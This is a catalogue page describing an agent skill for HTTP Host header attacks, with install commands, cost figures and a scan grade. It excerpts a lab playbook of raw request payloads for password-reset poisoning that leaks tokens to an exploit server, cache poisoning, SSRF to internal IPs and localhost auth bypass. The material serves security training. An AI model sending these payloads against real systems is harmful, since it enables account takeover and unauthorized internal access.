Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/host-headerWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/host-header)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/host-header"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/host-header/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/host-header"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/host-header.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00028 | $0.01128 |
| Opus 5 | $0.00014 | $0.00564 |
| Sonnet 5 | $0.00006 | $0.00226 |
| Haiku 4.5 | $0.00003 | $0.00113 |
Grade A, and why
HTTP Host Header Attacks — Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial] Copies of this mod
1 near-identical copy found in the catalogue:
- HTTP Host Header Attacks — Deep Dive — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.
HTTP Host Header Attacks — Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Basic password reset poisoning 🟢 APPRENTICE
POST /forgot-password HTTP/1.1
Host: EXPLOIT-SERVER
username=carlos
Reset link sent to carlos contains your Host → steal token from access log.
Lab 2: Auth bypass 🟡 PRACTITIONER
GET /admin HTTP/1.1
Host: localhost
Lab 3: Ambiguous requests cache poison 🟡 PRACTITIONER
GET / HTTP/1.1
Host: TARGET
Host: EXPLOIT-SERVER
Duplicate Host header — backend uses second, cache keys on first.
Lab 4: Routing-based SSRF 🟡 PRACTITIONER
GET /admin HTTP/1.1
Host: 192.168.0.§1§
Host header controls routing to internal backends. Scan for admin panel.
Lab 5: SSRF via flawed parsing 🟡 PRACTITIONER
GET https://TARGET/admin HTTP/1.1
Host: 192.168.0.1
Absolute URL in request line → some servers use Host header for routing instead.
Lab 6: Connection state attack 🔴 EXPERT
First request: valid Host. Keep-alive → second request: Host: 192.168.0.1. Server reuses validated connection state.
Lab 7: Dangling markup password reset 🔴 EXPERT
Host: TARGET:arbitraryport/exploit-server.com/?
Password reset email contains truncated URL that leaks token to your server via dangling markup.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 145 lines · 28 tokens per session scan A ba98f88abbcb
HTTP Host Header Attacks — Deep Dive is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 28 tokens to every session and 1,128 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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